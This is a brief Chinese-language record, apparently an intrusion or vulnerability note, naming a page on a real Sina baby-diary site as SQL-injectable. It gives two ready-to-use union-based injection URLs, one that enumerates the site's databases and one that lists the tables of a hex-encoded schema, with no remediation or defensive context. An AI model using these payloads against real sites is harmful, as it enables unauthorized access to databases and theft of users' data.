注入页面:
http://php.baby.sina.com.cn/diary/list.php

爆数据库:
http://php.baby.sina.com.cn/diary/list.php?netid=5167%20and%201=2%20union%20select%201,2,3,group_concat(schema_name),5,6,7,8,9%20from%20information_schema.schemata--

爆表:
http://php.baby.sina.com.cn/diary/list.php?netid=51675115%20and%201=2%20union%20select%201,2,group_concat(table_name),4,5,6,7,8,9%20from%20information_schema.tables%20where%20table_schema=0x70